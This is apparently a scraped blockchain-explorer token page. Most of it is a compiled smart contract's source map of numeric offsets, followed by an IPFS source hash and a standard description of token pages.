-1:-1:-1;;;5309:175:0;;6045:2:1;5309:175:0;;;6027:21:1;6084:2;6064:18;;;6057:30;6123:26;6103:18;;;6096:54;6167:18;;5309:175:0;5843:348:1;5309:175:0;5511:4;;-1:-1:-1;;;;;5501:14:0;;;5511:4;;5501:14;:35;;;;-1:-1:-1;;;;;;5520:16:0;;;;;;:5;:16;;;;;;;;5519:17;5501:35;5497:94;;;-1:-1:-1;;;;;5554:16:0;;;;;;:5;:16;;;;;:23;;-1:-1:-1;;5554:23:0;5573:4;5554:23;;;5497:94;-1:-1:-1;;;;;5603:17:0;;;;;;:9;:17;;;;;:27;;5624:6;;5603:17;:27;;5624:6;;5603:27;:::i;:::-;;;;-1:-1:-1;;;;;;;5641:20:0;;;;;;:9;:20;;;;;:30;;5665:6;;5641:20;:30;;5665:6;;5641:30;:::i;:::-;;;;;;;;5706:9;-1:-1:-1;;;;;5689:35:0;5698:6;-1:-1:-1;;;;;5689:35:0;;5717:6;5689:35;;;;1489:25:1;;1477:2;1462:18;;1343:177;5689:35:0;;;;;;;;-1:-1:-1;5742:4:0;5066:688;;;;;:::o;14:226:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;187:23:1;;14:226;-1:-1:-1;14:226:1:o;245:418::-;394:2;383:9;376:21;357:4;426:6;420:13;469:6;464:2;453:9;449:18;442:34;528:6;523:2;515:6;511:15;506:2;495:9;491:18;485:50;584:1;579:2;570:6;559:9;555:22;551:31;544:42;654:2;647;643:7;638:2;630:6;626:15;622:29;611:9;607:45;603:54;595:62;;;245:418;;;;:::o;668:173::-;736:20;;-1:-1:-1;;;;;785:31:1;;775:42;;765:70;;831:1;828;821:12;765:70;668:173;;;:::o;846:300::-;914:6;922;975:2;963:9;954:7;950:23;946:32;943:52;;;991:1;988;981:12;943:52;1014:29;1033:9;1014:29;:::i;:::-;1004:39;1112:2;1097:18;;;;1084:32;;-1:-1:-1;;;846:300:1:o;1525:374::-;1602:6;1610;1618;1671:2;1659:9;1650:7;1646:23;1642:32;1639:52;;;1687:1;1684;1677:12;1639:52;1710:29;1729:9;1710:29;:::i;:::-;1700:39;;1758:38;1792:2;1781:9;1777:18;1758:38;:::i;:::-;1525:374;;1748:48;;-1:-1:-1;;;1865:2:1;1850:18;;;;1837:32;;1525:374::o;2093:186::-;2152:6;2205:2;2193:9;2184:7;2180:23;2176:32;2173:52;;;2221:1;2218;2211:12;2173:52;2244:29;2263:9;2244:29;:::i;2492:160::-;2557:20;;2613:13;;2606:21;2596:32;;2586:60;;2642:1;2639;2632:12;2657:254;2722:6;2730;2783:2;2771:9;2762:7;2758:23;2754:32;2751:52;;;2799:1;2796;2789:12;2751:52;2822:29;2841:9;2822:29;:::i;:::-;2812:39;;2870:35;2901:2;2890:9;2886:18;2870:35;:::i;:::-;2860:45;;2657:254;;;;;:::o;2916:260::-;2984:6;2992;3045:2;3033:9;3024:7;3020:23;3016:32;3013:52;;;3061:1;3058;3051:12;3013:52;3084:29;3103:9;3084:29;:::i;:::-;3074:39;;3132:38;3166:2;3155:9;3151:18;3132:38;:::i;3181:180::-;3237:6;3290:2;3278:9;3269:7;3265:23;3261:32;3258:52;;;3306:1;3303;3296:12;3258:52;3329:26;3345:9;3329:26;:::i;3705:380::-;3784:1;3780:12;;;;3827;;;3848:61;;3902:4;3894:6;3890:17;3880:27;;3848:61;3955:2;3947:6;3944:14;3924:18;3921:38;3918:161;;4001:10;3996:3;3992:20;3989:1;3982:31;4036:4;4033:1;4026:15;4064:4;4061:1;4054:15;3918:161;;3705:380;;;:::o;4090:127::-;4151:10;4146:3;4142:20;4139:1;4132:31;4182:4;4179:1;4172:15;4206:4;4203:1;4196:15;4222:128;4289:9;;;4310:11;;;4307:37;;;4324:18;;:::i;4355:329::-;4557:2;4539:21;;;4596:1;4576:18;;;4569:29;-1:-1:-1;;;4629:2:1;4614:18;;4607:36;4675:2;4660:18;;4355:329::o;5713:125::-;5778:9;;;5799:10;;;5796:36;;;5812:18;;:::i

Swarm Source

ipfs://cbe0483133ad9ec1805b0ffb964fb7844756b0d304862445733ba9d1fd431e44
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.